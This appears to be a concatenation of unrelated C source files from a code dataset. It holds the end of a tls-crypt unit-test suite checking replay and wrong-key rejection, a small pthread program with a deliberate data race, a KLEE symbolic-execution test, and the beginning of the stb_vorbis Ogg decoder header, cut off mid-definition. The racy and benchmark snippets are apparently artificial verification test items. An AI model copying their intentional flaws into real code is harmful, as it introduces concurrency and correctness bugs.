assert_non_null(buf_write_alloc(&ctx->source, TESTBUF_SIZE - BLEN(&ctx->ciphertext) - tls_crypt_buf_overhead() + 1)); assert_false(tls_crypt_wrap(&ctx->source, &ctx->ciphertext, &ctx->co)); } /** * Check that packets that were wrapped (or unwrapped) with a different key * are not accepted. */ static void tls_crypt_fail_invalid_key(void **state) { struct test_context *ctx = (struct test_context *) *state; skip_if_tls_crypt_not_supported(ctx); /* Change decrypt key */ struct key key = { { 1 } }; free_key_ctx(&ctx->co.key_ctx_bi.decrypt); init_key_ctx(&ctx->co.key_ctx_bi.decrypt, &key, &ctx->kt, false, "TEST"); assert_true(tls_crypt_wrap(&ctx->source, &ctx->ciphertext, &ctx->co)); assert_true(BLEN(&ctx->source) < BLEN(&ctx->ciphertext)); assert_false(tls_crypt_unwrap(&ctx->ciphertext, &ctx->unwrapped, &ctx->co)); } /** * Check that replayed packets are not accepted. */ static void tls_crypt_fail_replay(void **state) { struct test_context *ctx = (struct test_context *) *state; skip_if_tls_crypt_not_supported(ctx); assert_true(tls_crypt_wrap(&ctx->source, &ctx->ciphertext, &ctx->co)); assert_true(BLEN(&ctx->source) < BLEN(&ctx->ciphertext)); struct buffer tmp = ctx->ciphertext; assert_true(tls_crypt_unwrap(&tmp, &ctx->unwrapped, &ctx->co)); buf_clear(&ctx->unwrapped); assert_false(tls_crypt_unwrap(&ctx->ciphertext, &ctx->unwrapped, &ctx->co)); } /** * Check that packet replays are accepted when CO_IGNORE_PACKET_ID is set. This * is used for the first control channel packet that arrives, because we don't * know the packet ID yet. */ static void tls_crypt_ignore_replay(void **state) { struct test_context *ctx = (struct test_context *) *state; skip_if_tls_crypt_not_supported(ctx); ctx->co.flags |= CO_IGNORE_PACKET_ID; assert_true(tls_crypt_wrap(&ctx->source, &ctx->ciphertext, &ctx->co)); assert_true(BLEN(&ctx->source) < BLEN(&ctx->ciphertext)); struct buffer tmp = ctx->ciphertext; assert_true(tls_crypt_unwrap(&tmp, &ctx->unwrapped, &ctx->co)); buf_clear(&ctx->unwrapped); assert_true(tls_crypt_unwrap(&ctx->ciphertext, &ctx->unwrapped, &ctx->co)); } int main(void) { const struct CMUnitTest tests[] = { cmocka_unit_test_setup_teardown(tls_crypt_loopback, setup, teardown), cmocka_unit_test_setup_teardown(tls_crypt_loopback_zero_len, setup, teardown), cmocka_unit_test_setup_teardown(tls_crypt_loopback_max_len, setup, teardown), cmocka_unit_test_setup_teardown(tls_crypt_fail_msg_too_long, setup, teardown), cmocka_unit_test_setup_teardown(tls_crypt_fail_invalid_key, setup, teardown), cmocka_unit_test_setup_teardown(tls_crypt_fail_replay, setup, teardown), cmocka_unit_test_setup_teardown(tls_crypt_ignore_replay, setup, teardown), }; #if defined(ENABLE_CRYPTO_OPENSSL) OpenSSL_add_all_algorithms(); #endif int ret = cmocka_run_group_tests_name("tls-crypt tests", tests, NULL, NULL); #if defined(ENABLE_CRYPTO_OPENSSL) EVP_cleanup(); #endif return ret; } #endif /* ENABLE_CRYPTO */
the_stack_data/23573984.c
#include <pthread.h> #include <assert.h> int xl, y, z; void* t1(void* arg) { xl=y+z; return NULL; } void* t2(void* arg) { z=2; return NULL; } int main(void) { pthread_t id1, id2; pthread_create(&id1, NULL, t1, NULL); pthread_create(&id2, NULL, t2, NULL); return 0; }
the_stack_data/36074832.c
// RUN: %llvmgcc %s -emit-llvm %O0opt -c -o %t.bc // RUN: rm -rf %t.klee-out // RUN: %klee --output-dir=%t.klee-out --exit-on-error --libc=uclibc --posix-runtime %t.bc --sym-files 1 10 --sym-stdout 2>%t.log #include <stdio.h> #include <assert.h> int main(int argc, char** argv) { const char* msg = "This will eventually overflow stdout. "; char buf[32]; int i; FILE* f = stdout;//fopen("A", "w"); if (!f) klee_silent_exit(0); for (i = 0; i < 300; i++) fwrite(msg, sizeof(msg), 1, f); fclose(f); return 0; }
the_stack_data/91644.c
// Ogg Vorbis audio decoder - v1.20 - public domain // http://nothings.org/stb_vorbis/ // // Original version written by Sean Barrett in 2007. // // Originally sponsored by RAD Game Tools. Seeking implementation // sponsored by Phillip Bennefall, Marc Andersen, Aaron Baker, // Elias Software, Aras Pranckevicius, and Sean Barrett. // // LICENSE // // See end of file for license information. // // Limitations: // // - floor 0 not supported (used in old ogg vorbis files pre-2004) // - lossless sample-truncation at beginning ignored // - cannot concatenate multiple vorbis streams // - sample positions are 32-bit, limiting seekable 192Khz // files to around 6 hours (Ogg supports 64-bit) // // Feature contributors: // Dougall Johnson (sample-exact seeking) // // Bugfix/warning contributors: // Terje Mathisen Niklas Frykholm Andy Hill // Casey Muratori John Bolton Gargaj // Laurent Gomila Marc LeBlanc Ronny Chevalier // Bernhard Wodo Evan Balster github:alxprd // Tom Beaumont Ingo Leitgeb Nicolas Guillemot // Phillip Bennefall Rohit Thiago Goulart // github:manxorist saga musix github:infatum // Timur Gagiev Maxwell Koo Peter Waller // github:audinowho Dougall Johnson David Reid // github:Clownacy Pedro J. Estebanez Remi Verschelde // // Partial history: // 1.20 - 2020-07-11 - several small fixes // 1.19 - 2020-02-05 - warnings // 1.18 - 2020-02-02 - fix seek bugs; parse header comments; misc warnings etc. // 1.17 - 2019-07-08 - fix CVE-2019-13217..CVE-2019-13223 (by ForAllSecure) // 1.16 - 2019-03-04 - fix warnings // 1.15 - 2019-02-07 - explicit failure if Ogg Skeleton data is found // 1.14 - 2018-02-11 - delete bogus dealloca usage // 1.13 - 2018-01-29 - fix truncation of last frame (hopefully) // 1.12 - 2017-11-21 - limit residue begin/end to blocksize/2 to avoid large temp allocs in bad/corrupt files // 1.11 - 2017-07-23 - fix MinGW compilation // 1.10 - 2017-03-03 - more robust seeking; fix negative ilog(); clear error in open_memory // 1.09 - 2016-04-04 - back out 'truncation of last frame' fix from previous version // 1.08 - 2016-04-02 - warnings; setup memory leaks; truncation of last frame // 1.07 - 2015-01-16 - fixes for crashes on invalid files; warning fixes; const // 1.06 - 2015-08-31 - full, correct support for seeking API (Dougall Johnson) // some crash fixes when out of memory or with corrupt files // fix some inappropriately signed shifts // 1.05 - 2015-04-19 - don't define __forceinline if it's redundant // 1.04 - 2014-08-27 - fix missing const-correct case in API // 1.03 - 2014-08-07 - warning fixes // 1.02 - 2014-07-09 - declare qsort comparison as explicitly _cdecl in Windows // 1.01 - 2014-06-18 - fix stb_vorbis_get_samples_float (interleaved was correct) // 1.0 - 2014-05-26 - fix memory leaks; fix warnings; fix bugs in >2-channel; // (API change) report sample rate for decode-full-file funcs // // See end of file for full version history. ////////////////////////////////////////////////////////////////////////////// // // HEADER BEGINS HERE // #ifndef STB_VORBIS_INCLUDE_STB_VORBIS_H #define STB_VORBIS_INCLUDE_STB_VORBIS_H #if defined(STB_VORBIS_NO_CRT) && !defined(STB_VORBIS_NO_STDIO) #define STB_VORBIS_NO_STDIO 1 #endif #ifndef STB_VORBIS_NO_STDIO #include <stdio.h> #endif #ifdef __cplusplus extern "C" { #endif /////////// THREAD SAFETY // Individual stb_vorbis* handles are not thread-safe; you cannot decode from // them from multiple threads at the same time. However, you can have multiple // stb_vorbis* handles and decode from them independently in multiple thrads. /////////// MEMORY ALLOCATION // normally stb_vorbis uses malloc() to allocate memory at startup, // and alloca() to allocate temporary memory during a frame on the // stack. (Memory consumption will depend on the amount of setup // data in the file and how you set the compile flags for speed // vs. size. In my test files the maximal-size usage is ~150KB.) // // You can modify the wrapper functions in the source (setup_malloc, // setup_temp_malloc, temp_malloc) to change this behavior, or you // can use a simpler allocation model: you pass in a buffer from // which stb_vorbis will allocate _all_ its memory (including the // temp memory). "open" may fail with a VORBIS_outofmem if you // do not pass in enough data; there is no way to determine how // much you do need except to succeed (at which point you can // query get_info to find the exact amount required. yes I know // this is lame). // // If you pass in a non-NULL buffer of the type below, allocation // will occur from it as described above. Otherwise just pass NULL // to use malloc()/alloca() typedef struct { char* alloc_buffer; int alloc_buffer_length_in_bytes; } stb_vorbis_alloc; /////////// FUNCTIONS USEABLE WITH ALL INPUT MODES typedef struct stb_vorbis stb_vorbis; typedef struct { unsigned int sample_rate; int channels; unsigned int setup_memory_required; unsigned int setup_temp_memory_required; unsigned int temp_memory_required; int max_frame_size; } stb_vorbis_info; typedef struct { char* vendor; int comment_list_length; char** comment_list; } stb_vorbis_comment; // get general information about the file extern stb_vorbis_info stb_vorbis_get_info(stb_vorbis* f); // get ogg comments extern stb_vorbis_comment stb_vorbis_get_comment(stb_vorbis* f); // get the last error detected (clears it, too) extern int stb_vorbis_get_error(stb_vorbis* f); // close an ogg vorbis file and free all memory in use extern void stb_vorbis_close(stb_vorbis* f); // this function returns the offset (in samples) from the beginning of the // file that will be returned by the next decode, if it is known, or -1 // otherwise. after a flush_pushdata() call, this may take a while before // it becomes valid again. // NOT WORKING YET after a seek with PULLDATA API extern int stb_vorbis_get_sample_offset(stb_vorbis* f); // returns the current seek point within the file, or offset from the beginning // of the memory buffer. In pushdata mode it returns 0. extern unsigned int stb_vorbis_get_file_offset(stb_vorbis* f); /////////// PUSHDATA API #ifndef STB_VORBIS_NO_PUSHDATA_API // this API allows you to get blocks of data from any source and hand // them to stb_vorbis. you have to buffer them; stb_vorbis will tell // you how much it used, and you have to give it the rest next time; // and stb_vorbis may not have enough data to work with and you will // need to give it the same data again PLUS more. Note that the Vorbis // specification does not bound the size of an individual frame. extern stb_vorbis* stb_vorbis_open_pushdata( const unsigned char* datablock, int datablock_length_in_bytes, int* datablock_memory_consumed_in_bytes, int* error, const stb_vorbis_alloc* alloc_buffer); // create a vorbis decoder by passing in the initial data block containing // the ogg&vorbis headers (you don't need to do parse them, just provide // the first N bytes of the file--you're told if it's not enough, see below) // on success, returns an stb_vorbis *, does not set error, returns the amount of // data parsed/consumed on this call in *datablock_memory_consumed_in_bytes; // on failure, returns NULL on error and sets *error, does not change *datablock_memory_consumed // if returns NULL and *error is VORBIS_need_more_data, then the input block was // incomplete and you need to pass in a larger block from the start of the file extern int stb_vorbis_decode_frame_pushdata( stb_vorbis* f, const unsigned char* datablock, int datablock_length_in_bytes, int* channels, // place to write number of float * buffers float*** output, // place to write float ** array of float * buffers int* samples // place to write number of output samples ); // decode a frame of audio sample data if possible from the passed-in data block // // return value: number of bytes we used from datablock // // possible cases: // 0 bytes used, 0 samples output (need more data) // N bytes used, 0 samples output (resynching the stream, keep going) // N bytes used, M samples output (one frame of data) // note that after opening a file, you will ALWAYS get one N-bytes,0-sample // frame, because Vorbis always "discards" the first frame. // // Note that on resynch, stb_vorbis will rarely consume all of the buffer, // instead only datablock_length_in_bytes-3 or less. This is because it wants // to avoid missing parts of a page header if they cross a datablock boundary, // without writing state-machiney code to record a partial detection. // // The number of channels returned are stored in *channels (which can be // NULL--it is always the same as the number of channels reported by // get_info). *output will contain an array of float* buffers, one per // channel. In other words, (*output)[0][0] contains the first sample from // the first channel, and (*output)[1][0] contains the first sample from // the second channel. extern void stb_vorbis_flush_pushdata(stb_vorbis* f); // inform stb_vorbis that your next datablock will not be contiguous with // previous ones (e.g. you've seeked in the data); future attempts to decode // frames will cause stb_vorbis to resynchronize (as noted above), and // once it sees a valid Ogg page (typically 4-8KB, as large as 64KB), it // will begin decoding the _next_ frame. // // if you want to seek using pushdata, you need to seek in your file, then // call stb_vorbis_flush_pushdata(), then start calling decoding, then once // decoding is returning you data, call stb_vorbis_get_sample_offset, and // if you don't like the result, seek your file again and repeat. #endif ////////// PULLING INPUT API #ifndef STB_VORBIS_NO_PULLDATA_API // This API assumes stb_vorbis is allowed to pull data from a source-- // either a block of memory containing the _entire_ vorbis stream, or a // FILE * that you or it create, or possibly some other reading mechanism // if you go modify the source to replace the FILE * case with some kind // of callback to your code. (But if you don't support seeking, you may // just want to go ahead and use pushdata.) #if !defined(STB_VORBIS_NO_STDIO) && !defined(STB_VORBIS_NO_INTEGER_CONVERSION) extern int stb_vorbis_decode_filename(const char* filename, int* channels, int* sample_rate, short** output); #endif #if !defined(STB_VORBIS_NO_INTEGER_CONVERSION) extern int stb_vorbis_decode_memory(const unsigned char* mem, int len, int* channels, int* sample_rate, short** output); #endif // decode an entire file and output the data interleaved into a malloc()ed // buffer stored in *output. The return value is the number of samples // decoded, or -1 if the file could not be opened or was not an ogg vorbis file. // When you're done with it, just free() the pointer returned in *output. extern stb_vorbis* stb_vorbis_open_memory(const unsigned char* data, int len, int* error, const stb_vorbis_alloc* alloc_buffer); // create an ogg vorbis decoder from an ogg vorbis stream in memory (note // this must be the entire stream!). on failure, returns NULL and sets *error #ifndef STB_VORBIS_NO_STDIO extern stb_vorbis* stb_vorbis_open_filename(const char* filename, int* error, const stb_vorbis_alloc* alloc_buffer); // create an ogg vorbis decoder from a filename via fopen(). on failure, // returns NULL and sets *error (possibly to VORBIS_file_open_failure). extern stb_vorbis* stb_vorbis_open_file(FILE* f, int close_handle_on_close, int* error, const stb_vorbis_alloc* alloc_buffer); // create an ogg vorbis decoder from an open FILE *, looking for a stream at // the _current_ seek point (ftell). on failure, returns NULL and sets *error. // note that stb_vorbis must "own" this stream; if you seek it in between // calls to stb_vorbis, it will become confused. Moreover, if you attempt to // perform stb_vorbis_seek_*() operations on this file, it will assume it // owns the _entire_ rest of the file after the start point. Use the next // function, stb_vorbis_open_file_section(), to limit it. extern stb_vorbis* stb_vorbis_open_file_section(FILE* f, int close_handle_on_close, int* error, const stb_vorbis_alloc* alloc_buffer, unsigned int len); // create an ogg vorbis decoder from an open FILE *, looking for a stream at // the _current_ seek point (ftell); the stream will be of length 'len' bytes. // on failure, returns NULL and sets *error. note that stb_vorbis must "own" // this stream; if you seek it in between calls to stb_vorbis, it will become // confused. #endif extern int stb_vorbis_seek_frame(stb_vorbis* f, unsigned int sample_number); extern int stb_vorbis_seek(stb_vorbis* f, unsigned int sample_number); // these functions seek in the Vorbis file to (approximately) 'sample_number'. // after calling seek_frame(), the next call to get_frame_*() will include // the specified sample. after calling stb_vorbis_seek(), the next call to // stb_vorbis_get_samples_* will start with the specified sample. If you // do not need to seek to EXACTLY the target sample when using get_samples_*, // you can also use seek_frame(). extern int stb_vorbis_seek_start(stb_vorbis* f); // this function is equivalent to stb_vorbis_seek(f,0) extern unsigned int stb_vorbis_stream_length_in_samples(stb_vorbis* f); extern float stb_vorbis_stream_length_in_seconds(stb_vorbis* f); // these functions return the total length of the vorbis stream extern int stb_vorbis_get_frame_float(stb_vorbis* f, int* channels, float*** output); // decode the next frame and return the number of samples. the number of // channels returned are stored in *channels (which can be NULL--it is always // the same as the number of channels reported by get_info). *output will // contain an array of float* buffers, one per channel. These outputs will // be overwritten on the next call to stb_vorbis_get_frame_*. // // You generally should not intermix calls to stb_vorbis_get_frame_*() // and stb_vorbis_get_samples_*(), since the latter calls the former. #ifndef STB_VORBIS_NO_INTEGER_CONVERSION extern int stb_vorbis_get_frame_short_interleaved(stb_vorbis* f, int num_c, short* buffer, int num_shorts); extern int stb_vorbis_get_frame_short(stb_vorbis* f, int num_c, short** buffer, int num_samples); #endif // decode the next frame and return the number of *samples* per channel. // Note that for interleaved data, you pass in the number of shorts (the // size of your array), but the return value is the number of samples per // channel, not the total number of samples. // // The data is coerced to the number of channels you request according to the // channel coercion rules (see below). You must pass in the size of your // buffer(s) so that stb_vorbis will not overwrite the end of the buffer. // The maximum buffer size needed can be gotten from get_info(); however, // the Vorbis I specification implies an absolute maximum of 4096 samples // per channel. // Channel coercion rules: // Let M be the number of channels requested, and N the number of channels present, // and Cn be the nth channel; let stereo L be the sum of all L and center channels, // and stereo R be the sum of all R and center channels (channel assignment from the // vorbis spec). // M N output // 1 k sum(Ck) for all k // 2 * stereo L, stereo R // k l k > l, the first l channels, then 0s // k l k <= l, the first k channels // Note that this is not _good_ surround etc. mixing at all! It's just so // you get something useful. extern int stb_vorbis_get_samples_float_interleaved(stb_vorbis* f, int channels, float* buffer, int num_floats); extern int stb_vorbis_get_samples_float(stb_vorbis* f, int channels, float** buffer, int num_samples); // gets num_samples samples, not necessarily on a frame boundary--this requires // buffering so you have to supply the buffers. DOES NOT APPLY THE COERCION RULES. // Returns the number of samples stored per channel; it may be less than requested // at the end of the file. If there are no more samples in the file, returns 0. #ifndef STB_VORBIS_NO_INTEGER_CONVERSION extern int stb_vorbis_get_samples_short_interleaved(stb_vorbis* f, int channels, short* buffer, int num_shorts); extern int stb_vorbis_get_samples_short(stb_vorbis* f, int channels, short** buffer, int num_samples); #endif // gets num_samples samples, not necessarily on a frame boundary--this requires // buffering so you have to supply the buffers. Applies the coercion rules above // to produce 'channels' channels. Returns the number of samples stored per channel; // it may be less than requested at the end of the file. If there are no more // samples in the file, returns 0. #endif //////// ERROR CODES enum STBVorbisError { VORBIS__no_error, VORBIS_need_more_data = 1, // not a real error VORBIS_invalid_api_mixing, // can't mix API modes VORBIS_outofmem, // not enough memory VORBIS_feature_not_supported, // uses floor 0 VORBIS_too_many_channels, // STB_VORBIS_MAX_CHANNELS is too small VORBIS_file_open_failure, // fopen() failed VORBIS_seek_without_length, // can't seek in unknown-length file VORBIS_unexpected_eof = 10, // file is truncated? VORBIS_seek_invalid, // seek past EOF // decoding errors (corrupt/invalid stream) -- you probably // don't care about the exact details of these // vorbis errors: VORBIS_invalid_setup = 20, VORBIS_invalid_stream, // ogg errors: VORBIS_missing_capture_pattern = 30, VORBIS_invalid_stream_structure_version, VORBIS_continued_packet_flag_invalid, VORBIS_incorrect_stream_serial_number, VORBIS_invalid_first_page, VORBIS_bad_packet_type, VORBIS_cant_find_last_page, VORBIS_seek_failed, VORBIS_ogg_skeleton_not_supported }; #ifdef __cplusplus } #endif #endif // STB_VORBIS_INCLUDE_STB_VORBIS_H // // HEADER ENDS HERE // ////////////////////////////////////////////////////////////////////////////// #ifndef STB_VORBIS_HEADER_ONLY // global configuration settings (e.g. set these in the project/makefile), // or just set them in this file at the top (although ideally the first few // should be visible when the header file is compiled too, although it's not // crucial) // STB_VORBIS_NO_PUSHDATA_API // does not compile the code for the various stb_vorbis_*_pushdata() // functions // #define STB_VORBIS_NO_PUSHDATA_API // STB_VORBIS_NO_PULLDATA_API // does not compile the code for the non-pushdata APIs // #define STB_VORBIS_NO_PULLDATA_API // STB_VORBIS_NO_STDIO // does not compile the code for the APIs that use FILE *s internally // or externally (implied by STB_VORBIS_NO_PULLDATA_API) // #define STB_VORBIS_NO_STDIO // STB_VORBIS_NO_INTEGER_CONVERSION // does not compile the code for converting audio sample data from // float to integer (implied by STB_VORBIS_NO_PULLDATA_API) // #define STB_VORBIS_NO_INTEGER_CONVERSION // STB_VORBIS_NO_FAST_SCALED_FLOAT // does not use a fast float-to-int trick to accelerate float-to-int on // most platforms which requires endianness be defined correctly. //#define STB_VORBIS_NO_FAST_SCALED_FLOAT // STB_VORBIS_MAX_CHANNELS [number] // globally define this to the maximum number of channels you need. // The spec does not put a restriction on channels except that // the count is stored in a byte, so 255 is the hard limit. // Reducing this saves about 16 bytes per value, so using 16 saves // (255-16)*16 or around 4KB. Plus anything other memory usage // I forgot to account for. Can probably go as low as 8 (7.1 audio), // 6 (5.1 audio), or 2 (stereo only). #ifndef STB_VORBIS_MAX_CHANNELS #define STB_VORBIS_MAX_CHANNELS 16 // enough for anyone? #endif // STB_VORBIS_PUSHDATA_CRC_COUNT [number] // after a flush_pushdata(), stb_vorbis begins scanning for the // next valid page, without backtracking. when it finds something // that looks like a page, it streams through it and verifies its // CRC32. Should that validation fail, it keeps scanning. But it's // possible that _while_ streaming through to check the CRC32 of // one candidate page, it sees another candidate page. This #define // determines how many "overlapping" candidate pages it can search // at once. Note that "real" pages are typically ~4KB to ~8KB, whereas // garbage pages could be as big as 64KB, but probably average ~16KB. // So don't hose ourselves by scanning an apparent 64KB page and // missing a ton of real ones in the interim; so minimum of 2 #ifndef STB_VORBIS_PUSHDATA_CRC_COUNT #define STB_VORBIS_PUSHDATA_CRC_COUNT 4 #endif // STB_VORBIS_FAST_HUFFMAN_LENGTH [number] // sets the log size of the huffman-acceleration table. Maximum // supported value is 24. with larger numbers, more decodings are O(1), // but the table size is larger so worse cache missing, so you'll have // to probe (and try multiple ogg vorbis files) to find the sweet spot. #ifndef STB_VORBIS_FAST_HUFFMAN_LENGTH #define STB_VORBIS_FAST_HUFFMAN_LENGTH 10 #endif // STB_VORBIS_FAST_BINARY_LENGTH [number] // sets the log size of the binary-search acceleration table. this // is used in similar fashion to the fast-huffman size to set initial // parameters for the binary search // STB_VORBIS_FAST_HUFFMAN_INT // The fast huffman tables are much more efficient if they can be // stored as 16-bit results instead of 32-bit results. This restricts // the codebooks to having only 65535 possible outcomes, though. // (At least, accelerated by the huffman table.) #ifndef STB_VORBIS_FAST_HUFFMAN_INT #define STB_VORBIS_FAST_HUFFMAN_SHORT #endif // STB_VORBIS_NO_HUFFMAN_BINARY_SEARCH // If the 'fast huffman' search doesn't succeed, then stb_vorbis falls // back on binary searching for the correct one. This requires storing // extra tables with the huffman codes in sorted order. Defining this // symbol trades off space for speed by forcing a linear search in the // non-fast case, except for "sparse" codebooks. // #define STB_VORBIS_NO_HUFFMAN_BINARY_SEARCH // STB_VORBIS_DIVIDES_IN_RESIDUE // stb_vorbis precomputes the result of the scalar residue decoding // that would otherwise require a divide per chunk. you can trade off // space for time by defining this symbol. // #define STB_VORBIS_DIVIDES_IN_RESIDUE // STB_VORBIS_DIVIDES_IN_CODEBOOK // vorbis VQ codebooks can be encoded two ways: with every case explicitly // stored, or with all elements being chosen from a small range of values, // and all values possible in all elements. By default, stb_vorbis expands // this latter kind out to look like the former kind for ease of decoding, // because otherwise an integer divide-per-vector-element is required to // unpack the index. If you define STB_VORBIS_DIVIDES_IN_CODEBOOK, you can // trade off storage for speed. //#define STB_VORBIS_DIVIDES_IN_CODEBOOK #ifdef STB_VORBIS_CODEBOOK_SHORTS #error "STB_VORBIS_CODEBOOK_SHORTS is no longer supported as it produced incorrect results for some input formats" #endif // STB_VORBIS_DIVIDE_TABLE // this replaces small integer divides in the floor decode loop with // table lookups. made less than 1% difference, so disabled by default. // STB_VORBIS_NO_INLINE_DECODE // disables the inlining of the scalar codebook fast-huffman decode. // might save a little codespace; useful for debugging // #define STB_VORBIS_NO_INLINE_DECODE // STB_VORBIS_NO_DEFER_FLOOR // Normally we only decode the floor without synthesizing the actual // full curve. We can instead synthesize the curve immediately. This // requires more memory and is very likely slower, so I don't think // you'd ever want to do it except for debugging. // #define STB_VORBIS_NO_DEFER_FLOOR ////////////////////////////////////////////////////////////////////////////// #ifdef STB_VORBIS_NO_PULLDATA_API #define STB_VORBIS_NO_INTEGER_CONVERSION #define STB_VORBIS_NO_STDIO #endif #if defined(STB_VORBIS_NO_CRT) && !defined(STB_VORBIS_NO_STDIO) #define STB_VORBIS_NO_STDIO 1 #endif #ifndef STB_VORBIS_NO_INTEGER_CONVERSION #ifndef STB_VORBIS_NO_FAST_SCALED_FLOAT // only need endianness for fast-float-to-int, which we don't // use for pushdata #ifndef STB_VORBIS_BIG_ENDIAN #define STB_VORBIS_ENDIAN 0 #else #define STB_VORBIS_ENDIAN 1 #endif #endif #endif #ifndef STB_VORBIS_NO_STDIO #include <stdio.h> #endif #ifndef STB_VORBIS_NO_CRT #include <stdlib.h> #include <string.h> #include <assert.h> #include <math.h> // find definition of alloca if it's not in stdlib.h: #if defined(_MSC_VER) || defined(__MINGW32__) #include <malloc.h> #endif #if defined(__linux__) || defined(__linux) || defined(__EMSCRIPTEN__) || defined(__NEWLIB__) #include <alloca.h> #endif #else // STB_VORBIS_NO_CRT #define NULL 0 #define malloc(s) 0 #define free(s) ((void) 0) #define realloc(s) 0 #endif // STB_VORBIS_NO_CRT #include <limits.h> #ifdef __MINGW32__ // eff you mingw: // "fixed": // http://sourceforge.net/p/mingw-w64/mailman/message/32882927/ // "no that broke the build, reverted, who cares about C": // http://sourceforge.net/p/mingw-w64/mailman/message/32890381/ #ifdef __forceinline #undef __forceinline #endif #define __forceinline #ifndef alloca #define alloca __builtin_alloca #endif #elif !defined(_MSC_VER) #if __GNUC__ #define __forceinline inline #else #define __forceinline #endif #endif #if STB_VORBIS_MAX_CHANNELS > 256 #error "Value of STB_VORBIS_MAX_CHANNELS outside of allowed range" #endif #if STB_VORBIS_FAST_HUFFMAN_LENGTH > 24 #error "Value of STB_VORBIS_FAST_HUFFMAN_LENGTH outside of allowed range" #endif #if 0 #include <crtdbg.h> #define CHECK(f) _CrtIsValidHeapPointer(f->channel_buffers[1]) #else #define CHECK(f) ((void) 0) #endif #define MAX_BLOCKSIZE_LOG 13 // from specification #define MAX_BLOCKSIZE (1 << MAX_BLOCKSIZE_LOG) typedef unsigned char uint8; typedef signed char int8; typedef unsigned short uint16; typedef signed short int16; typedef unsigned int uint32; typedef signed int int32; #ifndef TRUE #define TRUE 1 #define FALSE 0 #endif typedef float codetype; // @NOTE // // Some arrays below are tagged "//varies", which means it's actually // a variable-sized piece of data, but rather than malloc I assume it's // small enough it's better to just allocate it all together with the // main thing // // Most of the variables are specified with the smallest size I could pack // them into. It might give better performance to make them all full-sized // integers. It should be safe to freely rearrange the structures or change // the sizes larger--nothing relies on silently truncating etc., nor the // order of variables. #define FAST_HUFFMAN_TABLE_SIZE (1 << STB_VORBIS_FAST_HUFFMAN_LENGTH) #define FAST_HUFFMAN_TABLE_MASK (FAST_HUFFMAN_TABLE_SIZE - 1) typedef struct { int dimensions, entries; uint8* codeword_lengths; float minimum_value; float delta_value; uint8 value_bits; uint8 lookup_type; uint8 sequence_p; uint8 sparse; uint32 lookup_values; codetype* multiplicands; uint32* codewords; #ifdef STB_VORBIS_FAST_HUFFMAN_SHORT int16 fast_huffman[FAST_HUFFMAN_TABLE_SIZE]; #else int32 fast_huffman[FAST_HUFFMAN_TABLE_SIZE]; #endif uint32* sorted_codewords; int* sorted_values; int sorted_entries; } Codebook; typedef struct { uint8 order; uint16 rate; uint16 bark_map_size; uint8 amplitude_bits; uint8 amplitude_offset; uint8 number_of_books; uint8 book_list[16]; // varies } Floor0; typedef struct { uint8 partitions; uint8 partition_class_list[32]; // varies uint8 class_dimensions[16]; // varies uint8 class_subclasses[16]; // varies uint8 class_masterbooks[16]; // varies int16 subclass_books[16][8]; // varies uint16 Xlist[31 * 8 + 2]; // varies uint8 sorted_order[31 * 8 + 2]; uint8 neighbors[31 * 8 + 2][2]; uint8 floor1_multiplier; uint8 rangebits; int values; } Floor1; typedef union { Floor0 floor0; Floor1 floor1; } Floor; typedef struct { uint32 begin, end; uint32 part_size; uint8 classifications; uint8 classbook; uint8** classdata; int16(*residue_books)[8]; } Residue; typedef struct { uint8 magnitude; uint8 angle; uint8 mux; } MappingChannel; typedef struct { uint16 coupling_steps; MappingChannel* chan; uint8 submaps; uint8 submap_floor[15]; // varies uint8 submap_residue[15]; // varies } Mapping; typedef struct { uint8 blockflag; uint8 mapping; uint16 windowtype; uint16 transformtype; } Mode; typedef struct { uint32 goal_crc; // expected crc if match int bytes_left; // bytes left in packet uint32 crc_so_far; // running crc int bytes_done; // bytes processed in _current_ chunk uint32 sample_loc; // granule pos encoded in page } CRCscan; typedef struct { uint32 page_start, page_end; uint32 last_decoded_sample; } ProbedPage; struct stb_vorbis { // user-accessible info unsigned int sample_rate; int channels; unsigned int setup_memory_required; unsigned int temp_memory_required; unsigned int setup_temp_memory_required; char* vendor; int comment_list_length; char** comment_list; // input config #ifndef STB_VORBIS_NO_STDIO FILE* f; uint32 f_start; int close_on_free; #endif uint8* stream; uint8* stream_start; uint8* stream_end; uint32 stream_len; uint8 push_mode; // the page to seek to when seeking to start, may be zero uint32 first_audio_page_offset; // p_first is the page on which the first audio packet ends // (but not necessarily the page on which it starts) ProbedPage p_first, p_last; // memory management stb_vorbis_alloc alloc; int setup_offset; int temp_offset; // run-time results int eof; enum STBVorbisError error; // user-useful data // header info int blocksize[2]; int blocksize_0, blocksize_1; int codebook_count; Codebook* codebooks; int floor_count; uint16 floor_types[64]; // varies Floor* floor_config; int residue_count; uint16 residue_types[64]; // varies Residue* residue_config; int mapping_count; Mapping* mapping; int mode_count; Mode mode_config[64]; // varies uint32 total_samples; // decode buffer float* channel_buffers[STB_VORBIS_MAX_CHANNELS]; float* outputs[STB_VORBIS_MAX_CHANNELS]; float* previous_window[STB_VORBIS_MAX_CHANNELS]; int previous_length; #ifndef STB_VORBIS_NO_DEFER_FLOOR int16* finalY[STB_VORBIS_MAX_CHANNELS]; #else float* floor_buffers[STB_VORBIS_MAX_CHANNELS]; #endif uint32 current_loc; // sample location of next frame to decode int current_loc_valid; // per-blocksize precomputed data // twiddle factors float* A[2], * B[2], * C[2]; float* window[2]; uint16* bit_reverse[2]; // current page/packet/segment streaming info uint32 serial; // stream serial number for verification int last_page; int segment_count; uint8 segments[255]; uint8 page_flag; uint8 bytes_in_seg; uint8 first_decode; int next_seg; int last_seg; // flag that we're on the last segment int last_seg_which; // what was the segment number of the last seg? uint32 acc; int valid_bits; int packet_bytes; int end_seg_with_known_loc; uint32 known_loc_for_packet; int discard_samples_deferred; uint32 samples_output; // push mode scanning int page_crc_tests; // only in push_mode: number of tests active; -1 if not searching #ifndef STB_VORBIS_NO_PUSHDATA_API CRCscan scan[STB_VORBIS_PUSHDATA_CRC_COUNT]; #endif // sample-access int channel_buffer_start; int channel_buffer_end; }; #if defined(STB_VORBIS_NO_PUSHDATA_API) #define IS_PUSH_MODE(f) FALSE #elif defined(STB_VORBIS_NO_PULLDATA_API) #define IS_PUSH_MODE(f) TRUE #else #define IS_PUSH_MODE(f) ((f)->push_mode) #endif typedef struct stb_vorbis vorb; static int error(vorb* f, enum STBVorbisError e) { f->error = e; if (!f->eof && e != VORBIS_need_more_data) { f->error = e; // breakpoint for debugging } return 0; } // these functions are used for allocating temporary memory // while decoding. if you can afford the stack space, use // alloca(); otherwise, provide a temp buffer and it will // allocate out of those. #define array_size_required(count,size) 